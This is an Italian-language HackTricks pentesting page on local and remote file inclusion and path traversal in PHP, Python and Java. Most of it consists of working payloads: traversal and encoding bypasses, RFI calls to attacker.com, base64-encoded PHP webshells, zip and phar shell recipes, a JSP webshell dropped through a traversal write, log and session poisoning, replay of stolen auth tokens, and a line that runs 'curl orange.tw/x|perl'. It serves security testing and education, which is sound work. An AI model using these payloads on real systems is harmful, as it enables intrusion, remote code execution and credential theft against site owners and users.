File Inclusion/Path traversal

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

File Inclusion

Remote File Inclusion (RFI): Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è disabilitato di default (allow_url_include).
Local File Inclusion (LFI): Il server carica un file locale.

La vulnerabilità si verifica quando l’utente può in qualche modo controllare il file che verrà caricato dal server.

Funzioni PHP vulnerabili: require, require_once, include, include_once

Uno strumento interessante per sfruttare questa vulnerabilitĂ : https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*Mescolando diverse liste LFI nix e aggiungendo altri percorsi ho creato questa:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

Prova anche a cambiare / con \
Prova anche ad aggiungere ../../../../../

Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) è disponibile qui

Windows

Merge di diverse wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Prova anche a cambiare / con \
Prova anche a rimuovere C:/ e aggiungere ../../../../../

Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) è disponibile qui

OS X

Controlla la lista LFI di linux.

Basic LFI and bypasses

Tutti gli esempi sono per Local File Inclusion ma possono essere applicati anche a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences rimosse non ricorsivamente

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass l’aggiunta di ulteriori caratteri alla fine della stringa fornita (bypass di: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Questo è risolto a partire da PHP 5.4

Codifica

Puoi usare codifiche non standard come double URL encode (e altre):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Dalla cartella esistente

Forse il back-end sta controllando il percorso della cartella:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Esplorare le directory del file system su un server

Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando certe tecniche. Questo processo comporta la determinazione della profondità delle directory e il probing per l’esistenza di cartelle specifiche. Di seguito un metodo dettagliato per ottenerlo:

  1. Determinare la profondità delle directory: Accertare la profondità della directory corrente recuperando con successo il file /etc/passwd (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sonda le cartelle: Aggiungi il nome della cartella sospetta (es., private) all’URL, poi torna a /etc/passwd. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretare i risultati: La risposta del server indica se la cartella esiste:
  • Errore / Nessun output: La cartella private probabilmente non esiste nella posizione specificata.
  • Contenuto di /etc/passwd: La presenza della cartella private è confermata.
  1. Esplorazione ricorsiva: Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI).

Per esplorare directory in posizioni diverse del file system, regola il payload di conseguenza. Per esempio, per verificare se /var/www/ contiene una directory private (assumendo che la directory corrente sia a una profonditĂ  di 3), usa:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso usato per accedere a file ristretti bypassando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L’obiettivo è creare un percorso che, una volta alterato dalla misura di sicurezza, punti comunque al file desiderato.

In PHP, diverse rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del file system. Ad esempio:

  • /etc/passwd, /etc//passwd, /etc/./passwd, e /etc/passwd/ sono tutti trattati come lo stesso percorso.
  • Quando gli ultimi 6 caratteri sono passwd, aggiungere una / (rendendolo passwd/) non cambia il file di destinazione.
  • Analogamente, se .php viene aggiunto a un percorso di file (come shellcode.php), aggiungere /. alla fine non altera il file a cui si accede.

Gli esempi forniti dimostrano come utilizzare path truncation per accedere a /etc/passwd, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In questi scenari, il numero di traversamenti necessari potrebbe aggirarsi intorno a 2027, ma questo numero può variare a seconda della configurazione del server.

  • Using Dot Segments and Additional Characters: Sequenze di traversamento (../) combinate con segmenti punto extra e caratteri possono essere usate per navigare il file system, ignorando efficacemente le stringhe aggiunte dal server.
  • Determining the Required Number of Traversals: Con tentativi ed errori, si può trovare il numero preciso di ../ necessario per raggiungere la directory root e poi /etc/passwd, assicurando che eventuali stringhe aggiunte (come .php) vengano neutralizzate ma il percorso desiderato (/etc/passwd) rimanga intatto.
  • Starting with a Fake Directory: È pratica comune iniziare il percorso con una directory non esistente (come a/). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server.

Quando si impiegano tecniche di path truncation, è cruciale comprendere il comportamento di parsing dei percorsi del server e la struttura del file system. Ogni scenario potrebbe richiedere un approccio diverso, e i test sono spesso necessari per trovare il metodo piÚ efficace.

Questa vulnerabilità è stata corretta in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php questo è disabilitato di default perchÊ allow_url_include è Off. Deve essere On perchÊ funzioni, e in tal caso potresti includere un file PHP dal tuo server e ottenere RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Se per qualche motivo allow_url_include è On, ma PHP sta filtering l’accesso a pagine web esterne, secondo questo post, potresti usare ad esempio il data protocol con base64 per decodificare un codice PHP in b64 e ottenere RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

Nel codice precedente, il finale +.txt è stato aggiunto perché l’attaccante aveva bisogno di una stringa che terminasse con .txt, quindi la stringa finisce con quello e, dopo la b64 decode, quella parte restituirà solo dati spazzatura e il vero codice PHP verrà incluso (e quindi eseguito).

Un altro esempio senza usare il protocollo php:// sarebbe:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Elemento root in Python

In Python, in un codice come questo:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Se l’utente passa un absolute path a file_name, il percorso precedente viene semplicemente rimosso:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

È il comportamento previsto secondo la documentazione:

Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e la concatenazione continua dal componente di percorso assoluto.

Java: elencare directory

Sembra che se hai un Path Traversal in Java e richiedi una directory invece di un file, venga restituito l’elenco della directory. Questo non succede in altri linguaggi (per quanto ne so).

Top 25 parametri

Ecco la lista dei top 25 parametri che potrebbero essere vulnerabili a local file inclusion (LFI) vulnerabilities (da link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando wrapper e protocolli PHP

php://filter

I filtri PHP permettono di eseguire operazioni basilari di modifica sui dati prima che vengano letti o scritti. Ci sono 5 categorie di filtri:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Rimuove i tag dai dati (tutto ciò che è tra i caratteri “<” e “>”)
  • Nota che questo filtro è scomparso nelle versioni moderne di PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Trasforma in una diversa codifica (convert.iconv.<input_enc>.<output_enc>). Per ottenere la lista di tutte le codifiche supportate esegui in console: iconv -l

Warning

Abusando del filtro di conversione convert.iconv.* puoi generare testo arbitrario, il che potrebbe essere utile per scrivere testo arbitrario o far sĂŹ che una funzione come include elabori testo arbitrario. Per maggiori informazioni controlla LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprime il contenuto (utile se si esfiltra molta informazione)
  • zlib.inflate: Decomprime i dati
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Altri filtri
  • Eseguendo in php var_dump(stream_get_filters()); puoi trovare un paio di filtri inaspettati:
  • consumed
  • dechunk: inverte l’encoding HTTP chunked
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

La parte “php://filter” non distingue tra maiuscole e minuscole

Using php filters as oracle to read arbitrary files

In this post viene proposta una tecnica per leggere un file locale senza che il server restituisca l’output. Questa tecnica si basa su una esfiltrazione booleana del file (char by char) usando php filters come oracle. Questo perché i php filters possono essere usati per rendere un testo sufficientemente grande da far php lanciare un’eccezione.

Nel post originale trovi una spiegazione dettagliata della tecnica, ma qui c’è un riassunto rapido:

  • Use the codec UCS-4LE per lasciare il carattere iniziale del testo all’inizio e far aumentare la dimensione della stringa esponenzialmente.
  • Questo viene usato per generare un testo cosĂŹ grande quando la lettera iniziale è indovinata correttamente che php scatenerĂ  un errore
  • Il filtro dechunk rimuoverĂ  tutto se il primo char non è an hexadecimal, cosĂŹ possiamo sapere se il primo char è hex.
  • Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterĂ  di indovinare una lettera all’inizio del testo osservando quando applichiamo abbastanza trasformazioni per farla non essere piĂš un carattere esadecimale. PerchĂŠ se è hex, dechunk non la cancellerĂ  e la bomba iniziale farĂ  scattare un errore in php.
  • Il codec convert.iconv.UNICODE.CP930 trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una a, per esempio, perchĂŠ se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è piĂš un carattere esadecimale, quindi dechunk non la elimina e l’errore php viene innescato perchĂŠ si moltiplica con la bomba iniziale.
  • Usando altre trasformazioni come rot13 all’inizio è possibile effettuare un leak di altri char come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nell’intervallo hex).
  • Quando il char iniziale è un numero è necessario codificarlo in base64 e ottenere le prime 2 lettere per il leak del numero.
  • Il problema finale è vedere come leakare piĂš della lettera iniziale. Usando memory order filters come convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE è possibile cambiare l’ordine dei char e portare in prima posizione altre lettere del testo.
  • E per poter ottenere ulteriori dati l’idea è generare 2 bytes di junk data all’inizio con convert.iconv.UTF16.UTF16, applicare UCS-4LE per farli pivotare con i successivi 2 byte, e delete the data until the junk data (questo rimuoverĂ  i primi 2 byte del testo iniziale). Continuare cosĂŹ finchĂŠ non si raggiunge il bit desiderato da leakare.

Nel post è stato anche rilasciato uno strumento per eseguire questo automaticamente: php_filters_chain_oracle_exploit.

php://fd

Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per esfiltrare il contenuto di file aperti:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

You can also use php://stdin, php://stdout and php://stderr to access the descrittori di file 0, 1 e 2 respectively (non sono sicuro di come questo possa essere utile in un attacco)

zip:// and rar://

Carica un file Zip o Rar contenente una PHPShell e accedi ad esso.
Per poter abusare del protocollo rar è necessario che venga specificamente attivato.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Nota che questo protocollo è limitato dalle configurazioni di PHP allow_url_open e allow_url_include

expect://

Expect deve essere attivato. Puoi eseguire codice usando questo:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Specifica il tuo payload nei parametri POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un file .phar può essere utilizzato per eseguire codice PHP quando un’applicazione web sfrutta funzioni come include per il caricamento di file. Lo snippet PHP mostrato di seguito dimostra la creazione di un file .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Per compilare il file .phar, eseguire il seguente comando:

php --define phar.readonly=0 create_path.php

Al momento dell’esecuzione verrà creato un file chiamato test.phar, che potrebbe essere sfruttato per vulnerabilità di Local File Inclusion (LFI).

Nei casi in cui l’LFI si limiti solamente alla lettura di file senza eseguire il codice PHP al loro interno, tramite funzioni come file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), o filesize(), si può tentare lo sfruttamento di una vulnerabilità di deserialization. Questa vulnerabilità è legata alla lettura di file usando il protocollo phar.

Per una comprensione dettagliata dello sfruttamento di vulnerabilitĂ  di deserialization nel contesto dei file .phar, fare riferimento al documento linkato qui sotto:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

È stato possibile abusare any arbitrary file read from PHP that supports php filters per ottenere una RCE. La descrizione dettagliata può essere found in this post.
Sintesi molto rapida: un 3 byte overflow nell’PHP heap è stato abusato per alter the chain of free chunks di una specifica dimensione allo scopo di poter write anything in any address, quindi è stato aggiunto un hook per chiamare system.
È stato possibile allocare chunks di dimensioni specifiche abusando di piÚ php filters.

Altri protocolli

Controllare altri possibili protocols to include here:

  • php://memory and php://temp — Scrivere in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack)
  • file:// — Accesso al filesystem locale
  • http:// — Accesso a URL HTTP(s)
  • ftp:// — Accesso a URL FTP(s)
  • zlib:// — Compression Streams
  • glob:// — Trova pathnames che corrispondono al pattern (Non ritorna nulla di stampabile, quindi non molto utile qui)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Non utile per leggere file arbitrari)

LFI via PHP’s ‘assert’

I rischi di Local File Inclusion (LFI) in PHP sono particolarmente alti quando si tratta della funzione ‘assert’, che può eseguire codice all’interno di stringhe. Questo è particolarmente problematico se l’input contenente caratteri di directory traversal come “..” viene controllato ma non adeguatamente sanitizzato.

Ad esempio, il codice PHP potrebbe essere progettato per prevenire directory traversal in questo modo:

assert("strpos('$file', '..') === false") or die("");

Sebbene questo miri a impedire la traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attaccante potrebbe usare:

' and die(highlight_file('/etc/passwd')) or '

Analogamente, per eseguire comandi di sistema arbitrari, si potrebbe usare:

' and die(system("id")) or '

È importante URL-encode these payloads.

PHP Blind Path Traversal

Warning

Questa tecnica è rilevante nei casi in cui tu controlli il file path di una PHP function che accesserà un file ma non vedrai il contenuto del file (come una semplice chiamata a file()) perchÊ il contenuto non viene mostrato.

In this incredible post è spiegato come un blind path traversal possa essere abusato via PHP filter per exfiltrate the content of a file via an error oracle.

In sintesi, la tecnica utilizza la codifica “UCS-4LE” per rendere il contenuto di un file così grande che la PHP function che apre il file scatenerà un errore.

Poi, per leak the first char viene usato il filter dechunk assieme ad altri come base64 o rot13 e infine i filter convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE vengono utilizzati per posizionare altri chars all’inizio e leakarli.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Per i dettagli tecnici controlla il post menzionato!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Quando il codice server-side che riceve/carica file costruisce il path di destinazione usando dati controllati dall’utente (es. un filename o URL) senza canonicalizzare e validare, segmenti .. e percorsi assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria di file. Se puoi posizionare il payload in una directory esposta al web, di solito ottieni RCE non autenticata inserendo una webshell.

Tipico flusso di sfruttamento:

  • Individua una write primitive in un endpoint o in un background worker che accetta un path/filename e scrive contenuto su disco (es. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.).
  • Determina le directory esposte al web. Esempi comuni:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Prepara un percorso con traversal che esca dalla directory di storage prevista verso il webroot e includi il contenuto della tua webshell.
  • Naviga al payload caricato ed esegui comandi.

Note:

  • Il servizio vulnerabile che effettua la scrittura potrebbe ascoltare su una porta non-HTTP (es., un JMF XML listener su TCP 4004). Il portale web principale (porta diversa) servirĂ  poi il tuo payload.
  • Sui stack Java, queste scritture di file sono spesso implementate con semplici concatenazioni File/Paths. La mancanza di canonicalizzazione/allow-listing è il difetto principale.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening che mitiga questa classe di bug:

  • Risolvi a un percorso canonico e verifica che sia un discendente di una directory base presente nella allow-list.
  • Rifiuta qualsiasi percorso che contenga .., root assoluti, o lettere di unitĂ ; preferisci nomi di file generati.
  • Esegui il writer con un account a basso privilegio e separa le directory di scrittura dalle root servite.

Remote File Inclusion

Spiegato in precedenza, follow this link.

Via file di log Apache/Nginx

Se il server Apache o Nginx è vulnerabile a LFI nella funzione include puoi provare ad accedere a /var/log/apache2/access.log or /var/log/nginx/access.log, inserire nel user agent o in un GET parameter una php shell come <?php system($_GET['c']); ?> e includere quel file

Warning

Nota che se usi le virgolette doppie per la shell invece delle virgolette semplici, le virgolette doppie verranno modificate nella stringa “quote;”, PHP genererà un errore e niente altro verrà eseguito.

Inoltre, assicurati di scrivere correttamente il payload o PHP darĂ  errore ogni volta che tenterĂ  di caricare il file di log e non avrai una seconda opportunitĂ .

Questo può essere fatto anche in altri log ma fai attenzione, il codice all’interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L’header authorisation “basic” contiene “user:password” in Base64 ed è decodificato all’interno dei log. La PHPShell potrebbe essere inserita dentro questo header.
Altri possibili percorsi dei log:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Leggere i log di accesso per raccogliere GET-based auth tokens (token replay)

Molte app accettano per errore session/auth tokens tramite GET (es. AuthenticationToken, token, sid). Se hai una primitive di path traversal/LFI che ti permette di accedere ai log del web server, puoi rubare quei token dagli access log e riutilizzarli per bypassare completamente l’autenticazione.

How-to:

  • Usa il traversal/LFI per leggere il log di accesso del web server. Posizioni comuni:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Alcuni endpoint restituiscono le letture di file codificate in Base64. In tal caso, decodifica localmente e ispeziona le righe del log.
  • Grep per richieste GET che includono un parametro token e catturarne il valore, quindi riutilizzalo contro il punto di ingresso dell’applicazione.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Decodifica il body se è Base64, quindi riproduci un token catturato:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Note:

  • Tokens in URLs vengono registrati per impostazione predefinita; non accettare mai bearer tokens via GET in sistemi di produzione.
  • Se l’app supporta piĂš token names, cerca chiavi comuni come AuthenticationToken, token, sid, access_token.
  • Ruota qualsiasi tokens che possa essere leaked nei log.

Via Email

Invia una mail a un account interno (user@localhost) contenente il tuo PHP payload come <?php echo system($_REQUEST["cmd"]); ?> e prova a includerla nella mail dell’utente con un percorso come /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Upload molti shells (per esempio: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (può essere brute forced anche)

Via /proc/self/environ

Come un file di log, invia il payload nello User-Agent; sarà riflesso all’interno del file /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Tramite upload

Se puoi caricare un file, inietta semplicemente il shell payload al suo interno (es.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Per mantenere il file leggibile è meglio iniettare nei metadati delle immagini/doc/pdf

Via Zip fie upload

Upload a ZIP file contenente un PHP shell compresso e accedi:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via sessioni PHP

Controlla se il sito usa sessioni PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP queste sessions sono memorizzate nei file /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Imposta il cookie su <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Usa la LFI per includere il file di sessione PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Se ssh è attivo, verifica quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a <HOME>/.ssh/id_rsa

Via vsftpd logs

I log del server FTP vsftpd sono ubicati in /var/log/vsftpd.log. Nel caso in cui sia presente una vulnerabilitĂ  di Local File Inclusion (LFI), e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi:

  1. Iniettare un payload PHP nel campo username durante il processo di login.
  2. Dopo l’iniezione, utilizzare la LFI per recuperare i log del server da /var/log/vsftpd.log.

Via php base64 filter (using base64)

Come mostrato in this articolo, il PHP base64 filter ignora i caratteri non base64. Puoi usare questo comportamento per bypassare il controllo dell’estensione del file: se fornisci un base64 che termina con “.php”, esso semplicemente ignorerà il “.” e aggiungerà “php” al base64. Ecco un esempio di payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (nessun file necessario)

This writeup spiega che puoi usare php filters to generate arbitrary content come output. Il che fondamentalmente significa che puoi generate arbitrary php code per l’include without needing to write it into a file.

LFI2RCE via PHP Filters

Via segmentation fault

Upload un file che verrà memorizzato come temporary in /tmp, poi nella same request, causa un segmentation fault, e quindi il temporary file won’t be deleted e puoi cercarlo.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Se trovi una Local File Inclusion e Nginx è in esecuzione davanti a PHP potresti essere in grado di ottenere RCE con la seguente tecnica:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Se trovi una Local File Inclusion anche se don’t have a session e session.auto_start è Off. Se fornisci il PHP_SESSION_UPLOAD_PROGRESS nei dati multipart POST, PHP enable the session for you. Potresti abusarne per ottenere RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Se trovi una Local File Inclusion e il server è in esecuzione su Windows potresti ottenere RCE:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

La seguente request crea un file in /tmp/hello.php con il contenuto <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Il seguente sfrutta una vuln CRLF per ottenere RCE (da here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Tramite phpinfo() (file_uploads = on)

Se hai trovato una Local File Inclusion e un file che espone phpinfo() con file_uploads = on puoi ottenere RCE:

LFI2RCE via phpinfo()

Tramite compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Se hai trovato una Local File Inclusion e puoi exfiltrate the path del file temporaneo MA il server sta controllando se il file da includere ha PHP marks, puoi provare a bypassare quel controllo con questa Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Tramite eternal waiting + bruteforce

Se puoi abusare della LFI per upload temporary files e far sì che il server hang l’esecuzione PHP, potresti poi brute force filenames durante hours per trovare il file temporaneo:

LFI2RCE via Eternal waiting

Per Fatal Error

Se includi uno qualsiasi dei file /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Devi includere lo stesso file 2 time per generare quell’errore).

Non so quanto questo sia utile ma potrebbe esserlo.
Anche se causi un PHP Fatal Error, i file temporanei PHP uploaded vengono eliminati.

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks